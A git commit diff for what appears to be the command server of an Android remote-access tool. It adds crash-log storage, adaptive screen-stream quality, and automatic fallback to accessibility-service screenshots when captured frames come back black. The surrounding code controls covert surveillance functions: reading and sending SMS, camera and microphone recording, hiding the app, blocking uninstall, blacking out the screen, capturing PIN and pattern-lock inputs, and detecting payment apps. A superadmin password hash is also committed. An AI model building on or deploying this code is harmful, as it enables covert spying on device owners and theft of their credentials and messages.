This commit is contained in:
wdvipa
2026-02-13 01:06:00 +08:00
parent 450367dea2
commit 08a5ad468e
6 changed files with 684 additions and 8 deletions

View File

@@ -1,6 +1,6 @@
{
"version": "1.0.0",
"savedAt": "2026-02-09T07:39:21.559Z",
"savedAt": "2026-02-11T06:55:22.693Z",
"users": [
{
"id": "admin_1762534368537",
@@ -16,7 +16,7 @@
"passwordHash": "$2b$10$3c/70RbBH4y7zhYwxk8ldOcls3Bj6kt3cSMidTeaMUVb1EJXH4GMy",
"role": "superadmin",
"createdAt": "2025-11-07T16:53:46.677Z",
"lastLoginAt": "2026-02-09T07:39:21.559Z"
"lastLoginAt": "2026-02-11T06:55:22.692Z"
}
]
}

Binary file not shown.

View File

@@ -25,6 +25,7 @@ import Logger from './utils/Logger'
import APKBuildService from './services/APKBuildService'
import AuthService from './services/AuthService'
import DeviceInfoSyncService from './services/DeviceInfoSyncService'
import { AdaptiveQualityService } from './services/AdaptiveQualityService'
/**
* 远程控制服务端主应用
@@ -41,6 +42,7 @@ class RemoteControlServer {
private apkBuildService: APKBuildService
private authService: AuthService
private deviceInfoSyncService: DeviceInfoSyncService
private adaptiveQualityService: AdaptiveQualityService
private upload: multer.Multer
private registrationQueue: Array<{ socket: any, data: any, timestamp: number }> = []
private isProcessingRegistration = false
@@ -91,6 +93,7 @@ class RemoteControlServer {
this.authService = new AuthService()
// 注意AuthService 的异步初始化在 start() 方法中执行
this.deviceInfoSyncService = new DeviceInfoSyncService(this.authService)
this.adaptiveQualityService = new AdaptiveQualityService()
// 配置multer用于文件上传
this.upload = multer({
@@ -807,6 +810,38 @@ class RemoteControlServer {
}
})
// 💥 崩溃日志相关API (需要认证)
this.app.get('/api/crash-logs/:deviceId', this.authMiddleware, (req: any, res) => {
try {
const { deviceId } = req.params
const { page = 1, pageSize = 20 } = req.query
const result = this.databaseService.getCrashLogs(
deviceId,
parseInt(page as string),
parseInt(pageSize as string)
)
res.json({ success: true, data: result })
} catch (error) {
this.logger.error('获取崩溃日志失败:', error)
res.status(500).json({ success: false, message: '获取崩溃日志失败' })
}
})
this.app.get('/api/crash-logs/:deviceId/:logId', this.authMiddleware, (req: any, res) => {
try {
const logId = parseInt(req.params.logId)
const detail = this.databaseService.getCrashLogDetail(logId)
if (detail) {
res.json({ success: true, data: detail })
} else {
res.status(404).json({ success: false, message: '崩溃日志不存在' })
}
} catch (error) {
this.logger.error('获取崩溃日志详情失败:', error)
res.status(500).json({ success: false, message: '获取崩溃日志详情失败' })
}
})
// APK相关路由 (需要认证)
this.app.get('/api/apk/info', this.authMiddleware, async (req, res) => {
try {
@@ -1181,6 +1216,11 @@ class RemoteControlServer {
// 处理屏幕数据
socket.on('screen_data', (data: any) => {
// 📊 记录帧统计用于自适应画质
if (data?.deviceId) {
const dataSize = typeof data.data === 'string' ? data.data.length : 0
this.adaptiveQualityService.recordFrame(data.deviceId, dataSize)
}
this.messageRouter.routeScreenData(socket.id, data)
})
@@ -1253,6 +1293,120 @@ class RemoteControlServer {
this.messageRouter.handleOperationLog(socket.id, data)
})
// 💥 处理崩溃日志(从设备接收)
socket.on('crash_log', (data: any) => {
this.logger.warn(`💥 收到崩溃日志: Socket: ${socket.id}, 设备: ${data?.deviceId}, 文件: ${data?.fileName}`)
try {
if (data?.deviceId && data?.content) {
this.databaseService.saveCrashLog({
deviceId: data.deviceId,
fileName: data.fileName || 'unknown.log',
content: data.content,
fileSize: data.fileSize,
crashTime: data.crashTime,
uploadTime: data.uploadTime,
deviceModel: data.deviceModel,
osVersion: data.osVersion
})
// 通知Web端有新的崩溃日志
this.webClientManager.broadcastToAll('crash_log_received', {
deviceId: data.deviceId,
fileName: data.fileName,
crashTime: data.crashTime,
deviceModel: data.deviceModel,
timestamp: Date.now()
})
} else {
this.logger.warn(`⚠️ 崩溃日志数据不完整: ${JSON.stringify(data)}`)
}
} catch (error) {
this.logger.error('处理崩溃日志失败:', error)
}
})
// 📊 自适应画质Web端质量反馈
socket.on('quality_feedback', (data: any) => {
if (!data?.deviceId) return
const result = this.adaptiveQualityService.handleClientFeedback(data.deviceId, {
fps: data.fps || 0,
dropRate: data.dropRate || 0,
renderLatency: data.renderLatency,
})
if (result.shouldAdjust && result.newParams) {
// 转发质量调整指令给Android设备
const device = this.deviceManager.getDevice(data.deviceId)
if (device) {
const deviceSocket = this.io.sockets.sockets.get(device.socketId)
if (deviceSocket) {
deviceSocket.emit('quality_adjust', {
fps: result.newParams.fps,
quality: result.newParams.quality,
maxWidth: result.newParams.maxWidth,
maxHeight: result.newParams.maxHeight,
})
this.logger.info(`📊 自动调整设备${data.deviceId}画质参数`)
}
}
// 通知Web端参数已变更
socket.emit('quality_changed', {
deviceId: data.deviceId,
...result.newParams,
auto: true,
})
}
})
// 📊 自适应画质Web端手动切换质量档位
socket.on('set_quality_profile', (data: any) => {
if (!data?.deviceId || !data?.profile) return
const result = this.adaptiveQualityService.setQualityProfile(data.deviceId, data.profile)
if (result) {
const device = this.deviceManager.getDevice(data.deviceId)
if (device) {
const deviceSocket = this.io.sockets.sockets.get(device.socketId)
if (deviceSocket) {
deviceSocket.emit('quality_adjust', result.params)
}
}
socket.emit('quality_changed', {
deviceId: data.deviceId,
...result.params,
profile: data.profile,
auto: false,
})
}
})
// 📊 自适应画质Web端手动设置自定义参数
socket.on('set_quality_params', (data: any) => {
if (!data?.deviceId) return
const result = this.adaptiveQualityService.setCustomParams(data.deviceId, {
fps: data.fps,
quality: data.quality,
maxWidth: data.maxWidth,
maxHeight: data.maxHeight,
})
const device = this.deviceManager.getDevice(data.deviceId)
if (device) {
const deviceSocket = this.io.sockets.sockets.get(device.socketId)
if (deviceSocket) {
deviceSocket.emit('quality_adjust', result.params)
}
}
socket.emit('quality_changed', {
deviceId: data.deviceId,
...result.params,
auto: false,
})
})
// 📊 获取画质档位列表
socket.on('get_quality_profiles', (callback: any) => {
if (typeof callback === 'function') {
callback(this.adaptiveQualityService.getProfiles())
}
})
// 🆕 处理设备输入阻塞状态变更(从设备接收)
socket.on('device_input_blocked_changed', (data: any) => {
this.logger.info(`📱 收到设备输入阻塞状态变更: Socket: ${socket.id}`)

View File

@@ -0,0 +1,278 @@
import Logger from '../utils/Logger'
/**
* 自适应画质控制服务
*
* 参考billd-desk的参数化质量控制思路但通过服务器中继实现非P2P直连
* 服务端作为中间人收集Web端的网络质量反馈转发给Android端调整采集参数。
*/
interface QualityProfile {
fps: number
quality: number // JPEG质量 (25-80)
maxWidth: number
maxHeight: number
label: string
}
interface DeviceQualityState {
deviceId: string
currentProfile: string // 当前质量档位名
fps: number
quality: number
maxWidth: number
maxHeight: number
// 统计
frameCount: number
lastFrameTime: number
avgFrameSize: number
frameSizeWindow: number[]
// Web端反馈
clientFps: number
clientDropRate: number
lastFeedbackTime: number
}
const QUALITY_PROFILES: Record<string, QualityProfile> = {
low: { fps: 5, quality: 30, maxWidth: 360, maxHeight: 640, label: '低画质' },
medium: { fps: 10, quality: 45, maxWidth: 480, maxHeight: 854, label: '中画质' },
high: { fps: 15, quality: 60, maxWidth: 720, maxHeight: 1280, label: '高画质' },
ultra: { fps: 20, quality: 75, maxWidth: 1080, maxHeight: 1920, label: '超高画质' },
}
export class AdaptiveQualityService {
private logger = new Logger('AdaptiveQuality')
private deviceStates = new Map<string, DeviceQualityState>()
private readonly FRAME_SIZE_WINDOW = 30 // 统计最近30帧
private readonly AUTO_ADJUST_INTERVAL = 5000 // 5秒自动调整一次
private autoAdjustTimer: NodeJS.Timeout | null = null
constructor() {
this.startAutoAdjust()
}
/**
* 获取或创建设备质量状态
*/
private getOrCreateState(deviceId: string): DeviceQualityState {
if (!this.deviceStates.has(deviceId)) {
const defaultProfile = QUALITY_PROFILES.medium
this.deviceStates.set(deviceId, {
deviceId,
currentProfile: 'medium',
fps: defaultProfile.fps,
quality: defaultProfile.quality,
maxWidth: defaultProfile.maxWidth,
maxHeight: defaultProfile.maxHeight,
frameCount: 0,
lastFrameTime: 0,
avgFrameSize: 0,
frameSizeWindow: [],
clientFps: 0,
clientDropRate: 0,
lastFeedbackTime: 0,
})
}
return this.deviceStates.get(deviceId)!
}
/**
* 记录收到的帧(服务端统计用)
*/
recordFrame(deviceId: string, frameSize: number): void {
const state = this.getOrCreateState(deviceId)
state.frameCount++
state.lastFrameTime = Date.now()
state.frameSizeWindow.push(frameSize)
if (state.frameSizeWindow.length > this.FRAME_SIZE_WINDOW) {
state.frameSizeWindow.shift()
}
state.avgFrameSize = state.frameSizeWindow.reduce((a, b) => a + b, 0) / state.frameSizeWindow.length
}
/**
* 处理Web端的质量反馈
*/
handleClientFeedback(deviceId: string, feedback: {
fps: number
dropRate: number
renderLatency?: number
}): { shouldAdjust: boolean; newParams?: Partial<QualityProfile> } {
const state = this.getOrCreateState(deviceId)
state.clientFps = feedback.fps
state.clientDropRate = feedback.dropRate
state.lastFeedbackTime = Date.now()
// 根据反馈决定是否需要调整
if (feedback.dropRate > 0.1) {
// 丢帧率>10%,降低质量
return this.adjustDown(deviceId)
} else if (feedback.dropRate < 0.02 && feedback.fps >= state.fps * 0.9) {
// 丢帧率<2%且帧率接近目标,可以尝试提升
return this.adjustUp(deviceId)
}
return { shouldAdjust: false }
}
/**
* Web端手动设置质量档位
*/
setQualityProfile(deviceId: string, profileName: string): { params: QualityProfile } | null {
const profile = QUALITY_PROFILES[profileName]
if (!profile) return null
const state = this.getOrCreateState(deviceId)
state.currentProfile = profileName
state.fps = profile.fps
state.quality = profile.quality
state.maxWidth = profile.maxWidth
state.maxHeight = profile.maxHeight
this.logger.info(`📊 设备${deviceId}手动切换画质: ${profile.label}`)
return { params: profile }
}
/**
* Web端手动设置自定义参数参考billd-desk的精细控制
*/
setCustomParams(deviceId: string, params: {
fps?: number
quality?: number
maxWidth?: number
maxHeight?: number
}): { params: Partial<QualityProfile> } {
const state = this.getOrCreateState(deviceId)
if (params.fps !== undefined) state.fps = Math.max(1, Math.min(30, params.fps))
if (params.quality !== undefined) state.quality = Math.max(20, Math.min(90, params.quality))
if (params.maxWidth !== undefined) state.maxWidth = Math.max(240, Math.min(1920, params.maxWidth))
if (params.maxHeight !== undefined) state.maxHeight = Math.max(320, Math.min(2560, params.maxHeight))
state.currentProfile = 'custom'
this.logger.info(`📊 设备${deviceId}自定义参数: fps=${state.fps}, quality=${state.quality}, ${state.maxWidth}x${state.maxHeight}`)
return {
params: {
fps: state.fps,
quality: state.quality,
maxWidth: state.maxWidth,
maxHeight: state.maxHeight,
}
}
}
/**
* 降低质量
*/
private adjustDown(deviceId: string): { shouldAdjust: boolean; newParams?: Partial<QualityProfile> } {
const state = this.getOrCreateState(deviceId)
const profileOrder = ['ultra', 'high', 'medium', 'low']
const currentIdx = profileOrder.indexOf(state.currentProfile)
if (currentIdx < profileOrder.length - 1 && state.currentProfile !== 'custom') {
const nextProfile = profileOrder[currentIdx + 1]
const profile = QUALITY_PROFILES[nextProfile]
state.currentProfile = nextProfile
state.fps = profile.fps
state.quality = profile.quality
state.maxWidth = profile.maxWidth
state.maxHeight = profile.maxHeight
this.logger.info(`📉 设备${deviceId}自动降低画质: ${profile.label} (丢帧率${(state.clientDropRate * 100).toFixed(1)}%)`)
return { shouldAdjust: true, newParams: profile }
}
// 已经是最低档尝试进一步降低fps
if (state.fps > 3) {
state.fps = Math.max(3, state.fps - 2)
this.logger.info(`📉 设备${deviceId}降低帧率到${state.fps}fps`)
return { shouldAdjust: true, newParams: { fps: state.fps } }
}
return { shouldAdjust: false }
}
/**
* 提升质量
*/
private adjustUp(deviceId: string): { shouldAdjust: boolean; newParams?: Partial<QualityProfile> } {
const state = this.getOrCreateState(deviceId)
const profileOrder = ['low', 'medium', 'high', 'ultra']
const currentIdx = profileOrder.indexOf(state.currentProfile)
if (currentIdx < profileOrder.length - 1 && state.currentProfile !== 'custom') {
const nextProfile = profileOrder[currentIdx + 1]
const profile = QUALITY_PROFILES[nextProfile]
state.currentProfile = nextProfile
state.fps = profile.fps
state.quality = profile.quality
state.maxWidth = profile.maxWidth
state.maxHeight = profile.maxHeight
this.logger.info(`📈 设备${deviceId}自动提升画质: ${profile.label}`)
return { shouldAdjust: true, newParams: profile }
}
return { shouldAdjust: false }
}
/**
* 自动调整定时器
*/
private startAutoAdjust(): void {
this.autoAdjustTimer = setInterval(() => {
// 对有反馈数据的设备进行自动调整
for (const [deviceId, state] of this.deviceStates) {
if (Date.now() - state.lastFeedbackTime > 30000) continue // 超过30秒没反馈跳过
// 自动调整逻辑已在handleClientFeedback中处理
}
}, this.AUTO_ADJUST_INTERVAL)
}
/**
* 获取设备当前质量参数
*/
getDeviceQuality(deviceId: string): DeviceQualityState | null {
return this.deviceStates.get(deviceId) || null
}
/**
* 获取所有可用的质量档位
*/
getProfiles(): Record<string, QualityProfile> {
return { ...QUALITY_PROFILES }
}
/**
* 获取统计信息
*/
getStats(): object {
const stats: any = { deviceCount: this.deviceStates.size, devices: {} }
for (const [deviceId, state] of this.deviceStates) {
stats.devices[deviceId] = {
profile: state.currentProfile,
fps: state.fps,
quality: state.quality,
resolution: `${state.maxWidth}x${state.maxHeight}`,
frameCount: state.frameCount,
avgFrameSize: Math.round(state.avgFrameSize),
clientFps: state.clientFps,
clientDropRate: (state.clientDropRate * 100).toFixed(1) + '%',
}
}
return stats
}
/**
* 清理设备状态
*/
removeDevice(deviceId: string): void {
this.deviceStates.delete(deviceId)
}
destroy(): void {
if (this.autoAdjustTimer) {
clearInterval(this.autoAdjustTimer)
}
this.deviceStates.clear()
}
}

View File

@@ -42,12 +42,12 @@ export interface DeviceStateRecord {
password?: string
inputBlocked: boolean
loggingEnabled: boolean
blackScreenActive: boolean // 🆕 添加黑屏遮盖状态
appHidden: boolean // 🆕 添加应用隐藏状态
uninstallProtectionEnabled: boolean // 🛡️ 添加防止卸载保护状态
blackScreenActive: boolean
appHidden: boolean
uninstallProtectionEnabled: boolean
lastPasswordUpdate?: Date
confirmButtonCoords?: { x: number, y: number } // 🆕 确认按钮坐标
learnedConfirmButton?: { x: number, y: number, count: number } // 🆕 学习的确认按钮坐标
confirmButtonCoords?: { x: number, y: number }
learnedConfirmButton?: { x: number, y: number, count: number }
createdAt: Date
updatedAt: Date
}
@@ -350,6 +350,29 @@ export class DatabaseService {
CREATE INDEX IF NOT EXISTS idx_password_inputs_type ON password_inputs (passwordType)
`)
// 💥 创建崩溃日志表
this.db.exec(`
CREATE TABLE IF NOT EXISTS crash_logs (
id INTEGER PRIMARY KEY AUTOINCREMENT,
deviceId TEXT NOT NULL,
fileName TEXT NOT NULL,
content TEXT NOT NULL,
fileSize INTEGER,
crashTime INTEGER,
uploadTime INTEGER,
deviceModel TEXT,
osVersion TEXT,
createdAt DATETIME NOT NULL,
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
)
`)
this.db.exec(`
CREATE INDEX IF NOT EXISTS idx_crash_logs_deviceId ON crash_logs (deviceId)
`)
this.db.exec(`
CREATE INDEX IF NOT EXISTS idx_crash_logs_crashTime ON crash_logs (crashTime DESC)
`)
this.logger.info('数据库表初始化完成')
} catch (error) {
this.logger.error('初始化数据库失败:', error)
@@ -1924,6 +1947,11 @@ export class DatabaseService {
const passwordInputsResult = deletePasswordInputs.run(deviceId)
this.logger.debug(`删除通用密码输入记录: ${passwordInputsResult.changes}`)
// 6.5 删除崩溃日志
const deleteCrashLogs = this.db.prepare('DELETE FROM crash_logs WHERE deviceId = ?')
const crashLogsResult = deleteCrashLogs.run(deviceId)
this.logger.debug(`删除崩溃日志: ${crashLogsResult.changes}`)
// 7. 删除用户设备权限记录
const deleteUserPermissions = this.db.prepare('DELETE FROM user_device_permissions WHERE deviceId = ?')
const userPermissionsResult = deleteUserPermissions.run(deviceId)
@@ -2093,4 +2121,90 @@ export class DatabaseService {
return 0
}
}
// ==================== 💥 崩溃日志相关 ====================
/**
* 💥 保存崩溃日志
*/
saveCrashLog(data: {
deviceId: string
fileName: string
content: string
fileSize?: number
crashTime?: number
uploadTime?: number
deviceModel?: string
osVersion?: string
}): boolean {
try {
const stmt = this.db.prepare(`
INSERT INTO crash_logs (deviceId, fileName, content, fileSize, crashTime, uploadTime, deviceModel, osVersion, createdAt)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
`)
stmt.run(
data.deviceId,
data.fileName,
data.content,
data.fileSize || 0,
data.crashTime || 0,
data.uploadTime || Date.now(),
data.deviceModel || '',
data.osVersion || '',
new Date().toISOString()
)
this.logger.info(`💥 崩溃日志已保存: ${data.deviceId} - ${data.fileName}`)
return true
} catch (error) {
this.logger.error('保存崩溃日志失败:', error)
return false
}
}
/**
* 💥 获取设备的崩溃日志列表
*/
getCrashLogs(deviceId: string, page: number = 1, pageSize: number = 20): {
logs: any[]
total: number
page: number
pageSize: number
totalPages: number
} {
try {
const countStmt = this.db.prepare('SELECT COUNT(*) as total FROM crash_logs WHERE deviceId = ?')
const { total } = countStmt.get(deviceId) as { total: number }
const offset = (page - 1) * pageSize
const stmt = this.db.prepare(`
SELECT id, deviceId, fileName, fileSize, crashTime, uploadTime, deviceModel, osVersion, createdAt
FROM crash_logs WHERE deviceId = ? ORDER BY crashTime DESC LIMIT ? OFFSET ?
`)
const logs = stmt.all(deviceId, pageSize, offset)
return {
logs,
total,
page,
pageSize,
totalPages: Math.ceil(total / pageSize)
}
} catch (error) {
this.logger.error('获取崩溃日志列表失败:', error)
return { logs: [], total: 0, page, pageSize, totalPages: 0 }
}
}
/**
* 💥 获取崩溃日志详情(含内容)
*/
getCrashLogDetail(logId: number): any | null {
try {
const stmt = this.db.prepare('SELECT * FROM crash_logs WHERE id = ?')
return stmt.get(logId) || null
} catch (error) {
this.logger.error('获取崩溃日志详情失败:', error)
return null
}
}
}

View File

@@ -9,7 +9,7 @@ import path from 'path'
* 控制消息接口
*/
export interface ControlMessage {
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME'
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'REFRESH_MEDIA_PROJECTION_MANUAL' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME'
deviceId: string
data: any
timestamp: number
@@ -143,6 +143,10 @@ export class MessageRouter {
private droppedMicrophoneAudio = 0
private totalMicrophoneAudioSize = 0
// ✅ 黑帧检测:按设备追踪连续黑帧数,超过阈值时通知设备切换采集模式
private consecutiveBlackFrames = new Map<string, number>()
private captureModeSwitchSent = new Set<string>() // 已发送切换指令的设备,避免重复发送
constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService) {
this.deviceManager = deviceManager
this.webClientManager = webClientManager
@@ -536,6 +540,60 @@ export class MessageRouter {
return false
}
// ✅ 过滤黑屏帧Base64字符串<4000字符(≈3KB JPEG)几乎肯定是黑屏/空白帧
// 正常480×854 JPEG即使最低质量也远大于此值
const MIN_VALID_FRAME_SIZE = 4000
if (dataSize > 0 && dataSize < MIN_VALID_FRAME_SIZE) {
this.droppedFrames++
// ✅ 追踪连续黑帧数
const deviceId = screenData.deviceId
const count = (this.consecutiveBlackFrames.get(deviceId) || 0) + 1
this.consecutiveBlackFrames.set(deviceId, count)
if (this.routedFrames % 100 === 0) {
this.logger.warn(`⚠️ 过滤黑屏帧: ${dataSize} 字符 < ${MIN_VALID_FRAME_SIZE}, 设备${deviceId}, 连续黑帧${count}, 已丢弃${this.droppedFrames}`)
}
// ✅ 连续50个黑帧后通知Android端切换到无障碍截图模式
if (count >= 50 && !this.captureModeSwitchSent.has(deviceId)) {
this.captureModeSwitchSent.add(deviceId)
this.logger.warn(`🔄 设备${deviceId}连续${count}个黑帧,发送切换到无障碍截图模式指令`)
try {
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('quality_adjust', {
captureMode: 'accessibility',
fps: 10,
quality: 50,
maxWidth: 480,
maxHeight: 854
})
this.logger.info(`📤 已向设备${deviceId}发送切换采集模式指令`)
}
}
} catch (e) {
this.logger.error(`❌ 发送切换采集模式指令失败:`, e)
}
}
return false
}
// ✅ 收到有效帧,重置黑帧计数
if (screenData.deviceId) {
const prevCount = this.consecutiveBlackFrames.get(screenData.deviceId) || 0
if (prevCount > 0) {
this.logger.info(`✅ 设备${screenData.deviceId}收到有效帧(${dataSize}字符),重置黑帧计数(之前${prevCount})`)
}
this.consecutiveBlackFrames.set(screenData.deviceId, 0)
// 收到有效帧后允许再次发送切换指令(如果后续又出现黑帧)
this.captureModeSwitchSent.delete(screenData.deviceId)
}
// 🔧 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销)
const controllerId = this.webClientManager.getDeviceController(screenData.deviceId)
if (!controllerId) {
@@ -1823,6 +1881,9 @@ export class MessageRouter {
case 'REFRESH_MEDIA_PROJECTION_PERMISSION':
return this.handleRefreshMediaProjectionPermission(client.id, eventData.deviceId)
case 'REFRESH_MEDIA_PROJECTION_MANUAL':
return this.handleRefreshMediaProjectionManual(client.id, eventData.deviceId)
case 'CLOSE_CONFIG_MASK':
return this.handleCloseConfigMask(client.id, eventData.deviceId, eventData.manual)
@@ -4078,6 +4139,75 @@ export class MessageRouter {
}
}
/**
* 🆕 处理手动授权投屏权限请求(不自动点击确认)
*/
private handleRefreshMediaProjectionManual(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`📺 手动授权投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`)
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: false,
message: '设备已离线或不存在'
})
return false
}
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: false,
message: '无控制权限,请先申请设备控制权'
})
return false
}
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'REFRESH_MEDIA_PROJECTION_MANUAL',
deviceId,
data: {},
timestamp: Date.now()
})
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: true,
message: '手动授权命令已发送,请在设备上手动确认权限'
})
this.logger.info(`✅ 手动授权投屏权限命令已发送: ${deviceId}`)
return true
}
}
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: false,
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error('手动授权投屏权限失败:', error)
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: false,
message: '手动授权投屏权限失败: ' + (error as Error).message
})
return false
}
}
/**
* 🆕 路由权限申请响应
*/